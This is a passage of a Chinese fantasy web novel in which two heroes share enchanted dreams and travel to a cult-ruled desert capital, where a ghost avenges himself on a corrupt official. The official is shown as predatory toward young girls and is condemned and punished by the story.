“在你刚才放鸟的时候就来了。东方起,你在担心齐国吗?要是担心的话,就回去吧。”
“你想赶我走?”
“我只是觉得,你更适合当你的太子。”
“那你呢?”
“我?”林倾月原地转了个圈,黑色的裙摆如流云般绽放,“我适合当游侠,四海为家,居无定所。”
“月月,你只是怕有危险,不想让我跟去而已。”东方起一语道破。
林倾月脸上的笑意散了,严肃地道,“你既然知道,何必要亲自冒险?别忘了你的身份。你若有个万一,你父皇该怎么办?齐国又该怎么办?”
东方起道:“正是因为如此,为了长远考虑,归元教才必须铲除!他们已经开始对齐国动手,可见其狼子野心,不会偏安一隅。所以,我认为与其坐以待毙,不如先发制人!”
林倾月轻嗤。
东方起继续道:“我知道,你的实力很强远超我的想象。我也知道,很多时候,你故意藏拙,对任何人始终不能完全放下戒备之心。你相信自己,想要凭一己之力消
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灭归元教背后的伪神。”
“可归元教已经在这个国家生根发芽,连这个小县城里都是他们的信徒。鬼方国的朝廷更是方方面面都被渗透。你就算实力再强,和整个国家为敌,始终不占优势。”
“而我,我是齐国的太子,背后有整个齐国做依靠,我能帮你对抗那些势力。”
“所以月月,你可以把我当成你的刀、你的兵,在你分身无暇的时候,为你解决后顾之忧。”
事实上,东方起在离开齐国之前,就已经开始部署对付鬼方国的事儿。
“在离开之前,我已给我舅舅和父皇都去了书信,说明了利害关系,请他们调集军队,陈兵边境。刚才给凌真皇子的书信里,我也发出了请求,请丰国调兵到鬼方国边境进行军事演习。”
“齐国、丰国一起动兵。鬼方国势必要也要调动强兵猛将,到边境严守,以防万一。”
“归元教既然已经把持了这个国家,这种情况下必然也不会束手旁观。教派里的精英,必然也会出动。如此以来总部空虚。咱们再去,也能安全很多。”
林倾月没想到,东方起不声不响,却已经做了这么多的部署。
“既然这样,你为什么不留在后方?你若是坐镇齐国,不管从哪个方面来说都是最合适的。”
东方起摇头:“此话差矣。我是太子没错,我的安危关系重大也没错。可正因为我是未来的一国之君,我才不想做温室里的花朵。”
“少年时,我就不顾父皇的反对,走入民间,看到了诸多的民生疾苦,也让我对这个世界有了全新认识。虽然期间经历过不少刺杀,可那些风风雨雨反而更能磨炼我的心性。”
“如今何尝不是这样?我不想做一个尸位素餐的统治者,而是做真正的万民之主,在风雨来临的时候,我才有能力去抵挡一切,保护我的子民,以及……我的爱人。”
第209章 梦魂浮光
“至于生死……若没有你我早已是个死人了,还有什么放不下的呢?”
东方起此刻的语气坚决而真挚,林倾月知道再劝未免显得婆妈。
“好,既如此我们就一起去闯一闯!管他什么妖魔鬼怪、魑魅魍魉,杀干净了事!东方起,让我好好看看你的能力!王者,自然不惧任何风雨!”
林倾月没有再劝他离开,东方起暗自松了口气。
就在这时,老龟的魂魄从外面飘来,气愤地说:“我刚才去外面转了一圈,这里的百姓已被荼毒。家家户户都供着归元神像,大晚上不睡觉,在神像前拜来拜去。”
“其中有一个男子,老娘摔破了头,他不及时送去医治,却哭着求神保佑他娘康复。后来我趁他睡着入了他的梦,想劝他赶紧把人送去医馆,晚了就要一命呜呼了。结果你们猜怎么着?”
东方起道:“你都气成这样了,那你应该就是没劝成。”
老龟道:“那个蠢货,居然问我是不是神明派来试探他诚心的?”
“我在梦里问他:‘你的娘伤得那么重,你难道就不怕她死吗?’他说:‘我诚心祈求,神明肯定会为我娘降下福报,赐她平安长寿。即便真的死了,那也一定是神明不忍心她继续在人间受苦,把她接去极乐世界享福’。”
“你们听听,这多么荒唐愚蠢!哎,可真是气煞我也!”
老龟气得吹胡子瞪眼。
林倾月道:“这事必须从根上解决才行。他们显然已经不是单纯的信仰了,而是被洗脑。”
就像当年修仙者统治之下的人间各国一样,对于神明的信奉已经到了走火入魔的地步。
无论如何劝解,他们都不会相信。
只有从根源上消灭元凶,那些根深蒂固的崇拜才会垮塌,百姓自我意识才会渐渐恢复。
东方起对那老龟道:“我劝你还是不要再飘去看了,平白给自己添烦恼。不如好好去睡一觉,调理好你的魂魄之力。”
老龟点点头,忽然摊开手掌,露出两粒像萤火虫一般的浮光来。
“这是我用自身的力量织造的梦魂。此番,我能从梦魇小镇里解脱出来,多亏了你们二位。我老龟身无长物无以为报,就用这点梦魂之灵,送你们一场好梦,梦见你们心底最想要见到的人。”
说罢,那两粒莹亮的浮光落到了林倾月和东方起的面前。
“梦到我们心里最渴望见到的人和事儿吗?”林倾月伸出手指,戳了戳那一点浮光。
浮光在她的指头缠绕。她不知想起了什么,漆黑的眸子里似有异样的情绪在闪动。
“祝二位好梦。”老龟说罢,魂魄飘远。
东方起将面前的浮光握入了掌中,问林倾月:“你想梦见什么?”
林倾月沉默良久,才到了一句:“我不做梦。”
然后转身离去,回了她自己的房间。
那一点梦魂的浮光,悄无声息地跟在她身边。说着不做梦的人,终究是没忍心将它拍开。
东方起看着她背影,喃喃自语:她想见的人,可是她的师父?
如果她心底的人是个大活人,不论对方什么样,东方起都要与之一较高下。
可偏偏她心底的人,是她的师父,一个死人。
活人,又该如何和死人争呢?
林倾月回到自己的房间,盘膝而坐,准备入定修炼。
入定的时候,她通常心无旁骛,不念过往,不忧未来,也不会想起任何人。
可今晚,老龟的话一直在她耳边徘徊:“……梦见你们心底最想要见到的人……最想见的人……的人……”
她的心境就再难平静。
师父死后,她曾试图为师父聚魂,奢望能再见一次。可无论她用了多少办法,花费了多少心血,始终无法做到。
魂飞魄散,散的竟是那样的彻底!
再后来,她有了阿灼才渐渐放下对师父的执念。
可后来,阿灼也不在了……
林倾月想念他们,想得刻骨铭心,想得痛彻心扉。
手掌摊开,那一点梦魂浮光飘在她白皙的掌心上。
“不该再见的,否则只会加剧痛苦。可是……可是我真的好想你们。师父、阿灼……原谅我的贪心,就让我再沉沦一次吧……”
她缓缓地闭上眼睛,梦魂浮光感应到了她的心意,慢慢地飘入她的识海里。
眼前黑暗,随着那一点浮光的落入,渐渐地有了别样的风景。
“月月……”
她猛然睁眼,就看到日思夜想的师父,站在过去的时光里向她微笑:“月月,好久不见,别来无恙。”
“师父!”
刹那间,她泪流满面,又急忙地抬袖擦去了眼泪,深怕视野模糊看不清师父的样子了。
“师父,月月好想你啊。你在哪里,怎么我找了你那么久,都找不到你呢?师父,你不要月月了吗?”
长长的叹息落在梦境里,荡起圈圈涟漪。
“傻丫头,师父怎么会不要你呢?找不到师父,你就该向前看呀,前方有更好、更值得你爱的人。”
“你看——”他抬起手,长袖飘然、指尖泛光,“他在那里,他一直都在等你,从未离去。”
林倾月顺着师父手指的方向看去,就看见云海之上,巍峨云宫刺破云絮,耸立眼前。
最高层的雕花窗畔,男子白衣胜雪,纤尘不染,清俊的眉眼凝着淡淡的忧伤。
待清冷的眸光,穿过层层浮云,落在她身上时,那一抹惆怅变成了温柔浅笑。
笑意漫开时,灰蒙蒙的云海无风自散,雾霾褪尽,春光明媚如洗。
“阿灼……”
她一声呢喃,泪水不知不觉地淌出。
“阿灼……”她呢喃出口,泪水已悄然滑落。
周遭景物骤然旋转,光影交错间,她已立于云宫大殿,抬眼便望见那朝思暮想的身影。
阿灼站在窗口似乎正在看什么,直到听到她的声音,忽然转身。
他的脸上有欢喜,亦有诧异。
他诧异地看着周围的景物,低声自语:“又到了这里吗?这是梦,还是真实的?”
当他的目光最终落在林倾月的身上,小心翼翼地唤了一声:“月月……”
林倾月的眉头微不可察地蹙了蹙:“你唤我月月?可从前,你不是一直称呼我为陛下?”
眼前的白衣男人晃了下神,好像突然想起了什么,改口唤道:“陛下。”
第210章 一场春梦,怎能了然无痕呢?
林倾月思绪翻涌,正要说话,却忽然又发现眼前的男子的面容突然变成了东方起的模样。
可再仔细看时,星目剑眉分明又是阿灼。
“你,是谁?”她恍然开口,一时间居然分不清眼前的人到底是谁。
“我是……”东方起犹豫了一下说,“我是阿灼,陛下。”
他还记得上一次的梦境里,林倾月一直唤他阿灼。
他告诉她:“我是东方起,为什么你要唤我阿灼?”
可是她却因此生气了,她生气地说:“你就是朕的阿灼!你若是不想当阿灼,朕就不要你了。”
于是从那天之后,他已经许久没有再梦见她。
此刻,也许是因为梦魂浮光的作用,他清楚地知道自己是在梦境里。
既然只是一场梦,即使知道自己不是阿灼,可有什么关系呢?
只要哄得她高兴,只要这梦能持续得再久一些,他愿意做她的阿灼。
果然,东方起那般回应后,她脸上的迷惑尽散,眼中噙泪,小心翼翼捧住他的脸,细细端详,仿佛总也看不够。
“阿灼,对不起。”她抱住了他,紧紧地抱着,好像抱着失而复得的宝贝。
悲伤和心疼漫上东方起的心头,他嘴唇微微颤动,在她耳边道:“我的陛下,不必跟我说对不起,永远不必。”
听了这话,林倾月只觉心中越发愧疚。
在与他相守十余年的时光里,初时她将他视作师父的替身,后来纵是动了真心,可明知自己难有善终,也不敢全然依赖,总在他身前筑起若即若离的墙。
最后为逼他离开,更是说出了那些绝情的话。
她爱他至深,也伤他至深。
可他呢……
前世最后的记忆停留在漫天的火光里,他疯了般冲破火墙扑向她来。
烈火灼烧着他的肌肤和血肉,浓烟熏哑了他的嗓子,可那个傻瓜却还努力地哄她。
他说:“陛下别怕,便是无间地狱,我也陪你一起闯。”
前世的遗憾再无法弥补,而此刻她清楚地知道眼前的一切不过是梦魂浮光为她织的一场旖旎美梦。
既如此,那就放纵自己沉沦吧!
她忽然垫起脚尖,仰头深深地吻住了他。
前世的遗憾,今生痛入骨髓的想念,此刻都化作了缠绵悱恻的吻。
东方起突然被吻,愣了一下,忽然又反应过来,梦里的“陛下”就这样无拘。
于是,他也抛开了现实礼教的枷锁,不顾一切地回吻。
唇齿交叠间,谁的泪水无声滑落?
泪水润在口腔里,又苦又涩。
东方起愣了一下,抵着林倾月的额头,轻声询问:“怎么哭了?”
“因为……太高兴了。”她努力地微笑着,努力地不再让泪水落下,免得叫他担心。
“阿灼……阿灼……”
……
夜晚阴气浓郁,老龟即便不用林倾月庇护也能随意地在外面飘来飘去。
此刻,他飘到客栈的屋顶上,望着漫天的繁星,忧虑着民生疾苦。
忽然间,他感应到了什么,奇怪地朝下面的客房看去。
"两个梦魂浮光都用了?呵呵,老夫的这个礼物他们果然喜欢。"
“哎呀不对啊,怎么他俩的梦境怎会纠缠到一块,变成了一个梦?”
身处现实中的老龟虽然看不清楚梦境里的详细情况,却能感应到一些变化。
他的梦魂浮光,是在梦魇小镇的几年里慢慢练成的技能。也没有多大的用处,不过就是把人拉进梦里。
区别在于,噩梦和美梦。
他给林倾月和东方起的,当然是美梦。
梦魂浮光能窥探人心底里最深处的记忆,而后织造出一场美梦,满足欲望。
若是两个梦境距离太近,且梦中主人心意相通,梦境就会合二为一。越是情真意切,真实度就越高。
“哦,原来他们二位居然还是一对璧人,倒是般配。”
老龟呢喃了一声,又开始惆怅,“我县的子民啊,什么时候才能醒悟过来?哎,愁死老夫了!”
夜风裹着月光的清辉,温柔撩开了梦境的薄雾,也吹开了绯红床幔。
两个相拥的人影,隔着轻纱薄雾耳鬓厮磨。
直到月光悄悄褪去,朝阳偷偷探入。
林倾月感知到了什么,恋恋不舍地捧着他的脸颊,一遍遍地吻着。
可怀里的温热渐散,阿灼化作漫天流光簌簌坠落,和梦境里的一切都眼前迅速湮灭。
“阿灼,不要走!”
她猛地睁眼,朝阳从窗棂漫进入室内。指尖仿佛还残留着他脸颊上的温度,却再也触不到梦里的人。
云宫,还有他,都……不见了。
隔壁房间的东方起,几乎与她同时睁眼。
他的指尖下意识抚上脸颊,那里分明还残留着她最后触碰时的微凉,却像一片雪花融在皮肤上,转瞬便了无痕迹。
这样的梦,他之前做过好几次。
可先前的梦总隔着层薄雾,醒来后更变得缥缈无踪。
而昨夜的梦境却清晰得灼人。
她眉尖的轻蹙,唇角的微颤,泪珠滚过脸颊时的苦涩滋味,肌肤相贴时的呼吸交缠,都真实得仿佛亲身经历。
林倾月收拾好情绪,便去楼下吃早餐。
早餐送来得很快,大约这客栈的厨子脑子还没有被污染。
林倾月吃完了早餐,东方起都没出现。
林倾月不禁有些疑惑:“他平常也是个勤勉的人,在齐国的时候早早起床上朝。怎么今日都日上三竿了,还不起来?莫非是梦境里的一切太美了,竟然让他流连忘返了?”
她又等了一会儿,才看到东方起下楼。
他没有束冠,长发披散及腰,带着几分潮湿的气息。冷白的皮肤上,也还残留着一两粒水珠儿,滑过棱角分明的下颌,又顺着笔直的脖颈滚入微微敞开的领口深处。
林倾月的脑海里不由得浮现出昨夜里,两人亲吻纠缠的画面。她吻着他微微凸起的喉结,一遍遍地喊着:“阿灼……”
可此刻,梦里的阿灼和眼前的东方起交叠在一起,竟然让她慌了神,一时分不清现实和梦境。
直到身边空椅拖动时发出的“吱呀”声,才将她的思绪拉回。
她收回目光,随口问了句:“怎么大清早洗澡?”
东方起一看林倾月,就不受控制地红了脸——也还好她此刻转过头,没有窥见他的窘迫。
一场春梦,怎能了然无痕呢?
于是在醒来之后,东方起就将自己泡在冷水里,把不该有的欲念浇灭后,才姗姗来迟。
可好不容易平静下来的心绪,在看到林倾月的时候,又忍不住心潮起伏。
明明自诩君子,怎么脑子里总是萦绕着那些旖旎下流的事情?
东方起啊东方起,若叫她知道你做了那样的梦,以后肯定不会再理你!
第211章 谁脸红了?
于是东方起强迫自己不去看她,坐在饭桌前努力的干饭,一口气居然吃下了三个素包、两根油条、一碗米粥、一份拌面。
等林倾月转过头的时候,桌上已经彻底空了。
她忍不住蹙眉:“东方起,你的饭量见涨啊。我刚才还寻思着可能点多了,准备带在路上吃。”
东方起有点尴尬:“不小心走神了,没注意吃多了。呃……有点撑。”
林倾月:“……”
“吃饭走神我可以理解,因为走神却把自己给吃撑了,我属实不能理解。”
东方起拿出帕子擦了擦嘴角:“我也不能理解,但……事已如此,你还是把这些忘了吧。”
好的现在撑得难受,倒是没有再胡思乱想。
东方起正准备付钱,却听林倾月哪壶不开提哪壶地问:“对了,你昨天晚上做了什么好梦?”
于是原本已经被压下去的旖旎梦境再度漫上心头。
东方起慌忙转头,顾左右而言他:“那个……我们出发前是不是要先采买点食物?”
林倾月说:“东方起,你怎么害羞得脸都红了?”
“谁,谁脸红了?”
“别装了,你是冷白皮,脸一红就特别明显。”
“哦,那可能觉得有些热了。披散着头发,确实有点热。”
“你头发是湿的。”林倾月笑,“其实我能猜到你梦到了什么。”
“你你你能猜到?”东方起莫名有些慌张,端起茶杯,试图用喝水缓解紧张。
——难道是刚才自己的表现暴露了什么吗?
却听林倾月道:“还记得你刚从赤影之地出来后,昏迷了好几天的事吗?你昏迷的时候,应该也做了很深的梦吧?所以我猜,你昨晚的梦也和上次是一样的。”
东方起手一抖,茶杯都差点拿不稳。
她竟然真的猜到了!一定是上次做梦的时候,说了不该说的梦话才泄露了!
完了完了,这下月月要知道我是个猥琐好色的小人了!
他慌里慌张地正想要解释,却听林倾月安慰道:“没关系,你不用害羞。这都是人之常情。”
东方起一愣:“所以你……不生气?”
“我为何要生气?孩子想念自己的母亲很正常,这没什么好害羞的。”
林倾月一本正经地开解他:“你的身份特殊,很多时候不允许感情外泄。可你总归是个人,当年也是从还孩童时期一点点长大。宝宝想念娘亲,没什么不好意思的。”
她望着面前的男人,满脸真诚:“我能理解你。你是重情重义的人,是个孝顺的好孩子。我想你的母亲在天有灵也会欣慰。”
东方起:“不是,我……”
林倾月眨巴着单纯的眼眸:“难道我猜得不对?”
东方起认命般地叹了口气:“不,你说对了。”
老龟的声音突然从伞里飘出来:“不对吧,昨晚的梦境分明……”
不等他说完,就被东方起按住了伞口:“白天人多,你不要随便开口。若是被人察觉出异样,传到归元教那里,事情就不好办了。”
“可是……”
“难道你不想解救隆县的百姓,想看他们继续愚昧下去?”
“那我……”
“你闭嘴。”
老龟闭嘴。
倒是林倾月目光狐疑的望了过来。
东方起尴尬地笑着:“老人家着实啰嗦。对了,你昨晚梦到了什么?”
于是,林倾月也闭了嘴。
梦见阿灼在情理之中,可若是东方起知道,在梦里她把两人给混淆到一起,还做尽了荒唐风流之事,那她倾月仙尊的老脸可就真的要丢完了!
两人同时不再提及梦境,又同时想到:看老龟的样子,莫不是能窥探出梦境的内容?
“得先把老龟送走!”两人异口同声的开口。
老龟在伞里瑟瑟发抖:“老夫得罪了你们了吗?怎么又要突然送走?送去哪里?”
东方起压低声音道:“不是说帮你了却执念,送你去轮回吗?”
林倾月也怕他再乱说:“行了,你别再开口了,老实在伞里待着吧。”
遗憾的是一时半会,还真没办法把老龟给送走。
主要是,东方起后来打听到当年陷害老龟的那个郡守,已经被调任到了鬼方国的首都:骆城。
而归元教的总部,如今也在骆城。
好在在后面的旅程中,老龟没有再胡说八道。倒是提起过,再送他们二人一点梦魂浮光。
不过两人同时拒绝。
东方起是不想再放纵自己的欲望,玷污心中女神。
林倾月则是怕自己过于沉沦,生出心魔而延误正事。
如此又走了五天,两人到了骆城。
骆城是位于沙漠腹地的一处绿洲,盛产骆驼。南来北往的客商,都会在此歇息、购买骆驼。经过千百年的演变,渐渐成了一座城,座城后来又发展成了一个国家。
这鬼方国原本是西域小国,实力平平。
直到十多年前,伴随着归元教开始壮大,鬼方国不断向外扩张。在连续吞并了多个小国后,渐渐发展成西域霸主。
也是因为受益颇丰,鬼方国将归元教奉为国教,大肆推广。
朝中选拔官员,首要一条便是:信奉归元大神。
在这样的风气之下,仅仅十余年的时间,归元教渗透在国内各处。
然而,骆城作为都城,城池的基础建设其实非常糟糕。
随处可见都是低矮的土房子,甚至连皇宫都简陋得还不如齐国一个大臣家的宅子,根本不像王城该有的气象。
街上晃荡的人群,大多衣衫褴褛,面如枯槁、眼神呆滞。机械式地合着双掌,嘴里念念有词。
念叨的内容不外乎就是:“我有罪,愿神明消我罪孽、渡我苦厄,带我前往极乐世界!”
又或者是:“感谢神明的恩赐,赐我生命,赐我阳光、雨露……我不敢贪求,不奢望太多。我已经获得无尽快乐……”
第212章 再弑一次神!
沿主路前行,过皇宫再走半个时辰,一座十八层高的宫殿赫然矗立眼前。
那殿宇巍峨壮丽,琉璃金瓦在日头下烨烨生辉,就连墙壁都是珍珠粉饰、金漆描画。
飞檐下悬挂的并非寻常风铃,而是一串串鸽卵大的夜明珠!
宫殿匾额上:“归元神殿”四个大字,金光熠熠,威严慑人。
东方起不禁咋舌:“民舍简陋,皇宫粗朴,唯独这座归元神殿富丽堂皇到极致!这般奢华,真令人叹为观止!”
林倾月看清那神殿的模样时,心中也有些吃惊。
归元神殿的外观造型,居然和当年修仙界的云宫一样!
云宫,本是修仙界是各大宗门联盟建造的宫殿,用于商讨决议各大事务,也招收各大宗门的亲传弟子在此传道授业。
云宫由各宗门联合建造,为了彰显各家的实力,各种珍奇异宝统统堆砌上,极尽奢华。单单是粉饰外墙,都用了上万金的珍珠,磨成珠粉涂料。
最终云宫建成之后,高耸入云,金碧辉煌,犹如修仙界的一颗明珠。
后来,倾月统治之后将其据为己有。
她嫌弃那些珠粉白墙太过单调,在屠杀了八大仙门之后,用鲜血粉饰外墙。于是圣洁的云宫,就成了一座血腥宫殿。
然而眼前这座归元神殿,简直就像减配版的云宫。矮了一些、小了一些,但其奢华程度,却如出一辙。
所以那位归元神,真的和林倾月一样,从三千年前的修仙界而来,妄图复辟当年的一切?
当年,师父死在那些道貌岸然的伪君子手里,而她自己不惜入魔为代价终于覆灭了那个荒唐的世界。
如今还想死灰复燃?
“痴心妄想!”林倾月声音冷冷。
归元神殿外是一方巨大的广场,此刻聚拢了上万人,正虔诚地向着神殿跪拜磕头。
有人拿出全部家产,虔诚地奉于祭台上。
祭台上堆满了金银财宝,还不断有人送上供奉。
旁边有个官员,正拿着笔在册子上记下上供着的名字和贡品数量。
但凡送了贡品的信众都会得到一瓶圣水,然后感恩戴德地退下。
其中有个老妇人颤颤巍巍地将一筐鸡蛋送上祭台。
登记的官员眉头一皱,不满地道:“你居然想拿几个破鸡蛋敷衍归元大神,可见心不够诚!回去吧,神明不会给你赐福。”
老妇人顿时就慌了:“这筐鸡蛋是我攒了许久,家里唯一值钱的东西了。请千万通融通融,赐我一瓶神水!我儿病重,只等圣水救命!”
“神明只赐福给虔诚的信徒。少废话,若是惊扰了神明,神明降下恶报,你们全家都要倒霉!快走快走!”
老妇人还在哭求,被两个侍卫粗鲁地拖走。
那辛苦攒下的一筐鸡蛋,也在拉扯中倾倒在地,金黄蛋液碎成一滩无法收拾的绝望。
这时,有两个外国商贾忍不住议论起来:
“疯了吧?自己都食不果腹,为何还要给神明上供?”
“这里的神明,若真有那么灵验,为什么百姓们穿得破破烂烂,看起来过得一点也不好?”
他们的声音不大,可附近的那些百姓却听了个一清二楚,人群立刻就愤怒起来。
“这两个外国人亵渎神明!”
“质疑神明的人都是恶魔投胎,该被活活烧死,再打入无间地狱!”
“烧死他们,打入地狱!”
两个外国人吓了一跳,怎么也没想到,那些看起来愚蠢又懦弱的民众,居然会这么暴虐。
意识到情况不好,他们想跑。
然而愤怒的人群将他们团团围住,不由分说开始拳打脚踢。仿佛这样就能让神明看到自己的虔诚。
眼看着那两人就要被打死,总归是东方起动了恻隐之心,悄悄地画了一张防护符甩了过去,才抵消了部分伤害。
在被打死之前,那两人仓皇逃离。
如此倒反天罡的景象,也让东方起忧心忡忡地道:“这里的民众,已被完全洗脑。若是我们真动起手来,只怕他们首先就跳出来誓死捍卫。只怕那时,当真要涂炭生灵了!”
林倾月比他更了解那些疯狂的信徒有多么的恐怖。
对于神明的崇拜,已经根深蒂固植入思想里。他们宁可丢掉生命,也不会相信自己受到了蒙蔽。
林倾月道:“幕后主使,那所谓的神,既然就躲在神殿里享福,不如我们想个办法混入其中,一探究竟。”
若是对方实力不济,只是虚张声势,那就给他来一张釜底抽薪,一了百了。
若是很强大……
林倾月的脸上慢慢沉了下来
……大不了,本座就再做一次恶人!再弑一次神!
第213章 老龟的报复
东方起四处看了看,想要寻找能进入的办法。
就在这个时候,老龟的声音从伞里飘出来:“坐在高台上的那个官员,就是当年陷害我的郡守厉威!”
当年厉威三十岁左右,当了几年郡守后,调回骆城任职。如今,已经是朝廷指派的宣教大使,官拜正三品。
所谓的宣教,其实就是宣扬归元教的教义。偶尔也会出来视察民众对圣教是否虔诚。
此刻,宣教大使正坐在高台上,冷眼审视着周围的一切。
等到今日的供奉仪式结束后,他拿过手下递上的册子正在查看。
林倾月抬眸望去,隔着距离和人群,只看到那个归元教的爪牙正在交头接耳谈论着些什么。
周围的声音太过嘈杂,影响到她的听力。于是她闭上眼睛,只用神识去感知周围的一切。
嘈杂的声音被她摒除在外,高台上两个官员的声音便清晰地传入耳中:
"童男童女的事,可办妥了?"
“已办妥。百姓们一听选出来的童子将来可跟着修行,得道之后全家都能跟着修行升天,都争先恐后地抢占名额。按照您的要求选出了童男童女共计52名。只等大人您过目。”
“待本官过目后,确认无误,今日就可送入神殿侍奉神明。”
“是大人!”
“就先送到本官的府邸,午时之后要送到。”
“是!下官这就去办!”
……
林倾月的眼眸微微眯起:“既然是老龟的仇人,那就新仇旧恨,一并了结吧。”
中午,厉府。
厉威穿着一身威严的官服,坐在家中的厅堂上抬头看去,底下跪着几十名童男童女。
这些童男童女衣着朴素,一看就是来自平民人家。
其中最小的两三岁,最大的也不过才十岁出头,都是眉目清秀,长得颇为可人。
年纪小的娃娃胆小,被周围严肃的氛围吓得小声抽泣,喊着:“娘亲、娘亲。”
大的那些已经懂事,听说选入神殿就能侍奉归元天神,从此过上逍遥的修行生活。
若是天赋好得了天神青睐的,还有可能被点化成仙。于是,这些大孩子们都是满眼期待。
厉威问道:“六岁以下的一共几人?”
负责选拔的官员道:“回禀大人,六岁以下的童子有20名、童女20名。”
厉威道:“将六岁以下小童全部带下去,沐浴更衣后,送去神殿。”
"是!"
40名男童女童一走,余下的12名都是十一二岁的少女。
一听说自己落选了,心心念念的成仙梦彻底碎了,女孩们便都哭了起来。
厉威道:“哭什么,就这么想进神殿吗?”
女孩们齐齐点头,又通通跪下,祈求大人再给个机会。
厉威道:“过段时间还有神侍的选拔,既然你们都这么想进,不如先留在本官身边伺候。若是表现得好,本官可破格让你们免试入神殿。”
少女们听罢,都破涕为笑。
其中有一个略微谨慎一些的少女,问道:“大人此话当真?那我们要怎么服侍大人?”
厉威笑了:“你们很快就会懂。下去吧,先去沐浴更衣,稍后过来服侍本官。”
骆城到处都是破破烂烂的,但是厉府却是极尽奢侈。
这里的庭院是仿照中原王朝的江南水系风格。
里面小桥流水,黛瓦粉墙,就连窗纱用的都是从齐国高价采买的银霞绫,一寸一金,极为昂贵。
可这些对于厉威来说根本不算什么。
早些年,他当地方官的时候就极尽贪婪,总是巧立名目搜刮民脂。
后来,他又入了归元教,财富对他而言就更是唾手可得。
他甚至都不需要找什么理由,自有虔诚的信民主动献上家财。甚至为了得到神庙的庇护,求着他收受贿赂。
而今日,趁着为神明选拔童男童女的机会,也给自己的后宅添加新人。
他最喜欢十一二岁的少女,小荷初成,稚嫩无暇,是个极好的玩意。
就算一不小心,弄死了几个也无妨。
反正他们的家人也不会追究,只以为自己家的孩子在神明面前修行,甚至还以此为荣。
他吃过了午膳,挺着肥肚腩,准备去睡一个香甜的午觉,顺便品尝新来少女的滋味。
敞着衣襟,他斜斜倚在罗汉榻上,困意漫上来时,眼皮正沉甸甸地往下坠。
忽闻房门被轻轻推开,一缕沁人心脾的香风趁隙溜入,缠上鼻尖。
是下人送新来的女孩了?
他懒懒地掀开眼皮,便见一袭玄色罗裙的女子,撑着绯红油纸伞踏进门来。
逆光里,她周身笼着层朦胧光晕,眉眼隐在暗影里,看不真切真容,唯有那把红伞格外灼眼。
“吱——”房门合上又落锁,隔绝了刺眼的光线,玄衣女子的真容才在眼前显露。
那竟是一张倾国倾城的绝色容颜,美得叫厉威都呆愣了一瞬。
一瞬之后他忽然反应过来,猛地坐起:“你是谁?”
他记得新来的那批少女都不过才十一、二岁,虽然都清纯动人,却没有这样绝世的容颜。
“来人啊!来人啊!”
他大声地叫嚷起来。可不论他怎么叫,守在院外的侍从好像死绝了一样,听不见他的呐喊。
“你这么紧张干什么?”
林倾月轻轻地笑着,绯红伞下的铃铛叮叮当当地响,好像也在笑。
“你你你到底是谁?”
来历不明的女子,哪怕再如何美丽,也不能掉以轻心。
“我是谁,你不配知道。我只是来送一位故人与你相见。”
“故人?谁?”
“你自己看,可还记得他?”
“叮叮当当”伴随着引魂铃的唱响,绯红色的油纸伞下慢慢凝出一团黑色的影子。
那影子由虚变实,最后变成一位穿着破旧官服,身形微微佝偻的老人。
厉威被这一幕吓得跌坐在地,颤颤巍巍地问:“这到底是人是鬼?”
“你居然不认识我?”老龟一步步地走上前,好让他看得更加清楚一些。
“下官是张平啊!当年你害得我无辜枉死,又伙同归元教杀害了整个平安镇的百姓。如今郡守大人居然……不认识下官了?是不是你害的人太多、做的恶太多,便也不记得下官这一桩了?”
厉威听到“平安镇”三个字,再看那伞下的老人,忽然想起来了:“你是张平,张县令?你你你不是死了吗?”
“郡守大人,多年未见,你满身罪孽还活得这样好,下官怎么甘心呢?下官不甘心,所以又从地狱里爬出来,找你索命了!”
厉威冷汗涔涔,恐惧万分,急忙推卸责任:
“当初害你和平安镇的人是归元教,是归元教!我也是没办法必须配合,要不然……要不然我全家老小的性命也不保啊!”
老龟愤怒地道:“你们这些贪官污吏,平常贪污也就罢了。可大灾当前,百姓生死悬于一线,就等着那一口吃的活命,你们怎么忍心作孽?明明你也是父母官啊,明明那些也是你子民啊,你怎么就看不到他们的苦难?任由他们去死呢?”
“还有平安镇几千名百姓,我好不容易才让他们过上好生活,可你们都干了什么?”
“一夕之间,全镇的人全部坑杀!上至八十岁的老人家,下至刚刚出生的婴儿……你们说我是妖,可我不曾害过人。而你们这些道貌岸然的人啊,却满手血污,浑身罪恶!”
老龟说到悲愤处,痛心疾首,泪流满面。
第214章 神明的大饼
厉威一个劲地给他磕头:“我知道错了。张平张大人,我对不起你。可当年的事真的都是归元教做的,我也是没办法啊!你饶我一命好不好?我保证!”
他举起一只手,对天发誓:“我发誓,从今以后我洗心革面!我散尽家产!我把这些年贪污的所有钱财,全部施舍给民众!”
“从今以后,我做个好官,做个像你一样的好官。张平,你是个好人、是个好官。好人要常怀慈悲之心,所以你就原谅我一次吧,张平!”
"好人?常怀慈悲之心?"老龟笑了,笑着笑着眼底的凶光慢慢浮现,“你莫不是忘了,我是妖不是人!”
说着,他忽然抬手一挥,袖子带出巨大的气浪,瞬间就将厉威掀飞,而后撞在博古架上,乒乒乓乓地碎了一地的名贵瓷器。
“我真想一掌拍碎你的头骨。可让你死得这般轻松,又怎么对得起平安镇的几千条亡魂?”
老龟慢慢地飘近,身前落下的阴影一点点地覆盖上厉威。
厉威不断的呕血,痛得发不出一点声音,抬眸间只看到老人的眼睛变成了诡异的猩红色。
“睡吧,梦里有最深的恐怖,最惨的死法。你看,那些被你害死的人啊,他们通通都在梦里等你呢。”
“饶……”厉威两眼一翻,意识沉入了梦境里。
等他睁开眼睛的时候,发现自己出现在平安小镇上。
阴风阵阵,乌云遮日。
无数的亡魂龇牙咧嘴,在他的身边盘旋,一遍遍地喊着:
“还我命来,还我命来!”
“贪官该死,该死!”
“吃他的肉,喝他的血!”
无数的亡魂,像愤怒的马蜂疯狂地撕咬着他的血肉。
梦境里虽然是虚无的,可那种被生吞活吃的感觉,却是真真实实的。
最终,他的灵魂在极致的痛苦里从肉身脱离出来。
可刚刚飘出,就被老龟一口给吞吃了。
至此,老龟得偿所愿,替自己和百姓报了仇。
他擦了擦眼角的泪,转身郑重地向林倾月作揖行礼:“多谢你给我的机会。”
林倾月道:“既然你的执念已了,就去投胎转世吧。你这一世为官清廉,为民谋福,积攒了不少福德。来世,应该能投个好胎。”
老龟却忽然给林倾月跪下:“林小姐,我知道你们此行要去铲除归元教。那归元教残害百姓,罪孽滔天。请让我跟着你们一起除恶!”
“不必。”林倾月冷冷地拒绝,“你已是妖鬼,若是再死,就魂飞魄散了。”
“老夫不怕!”
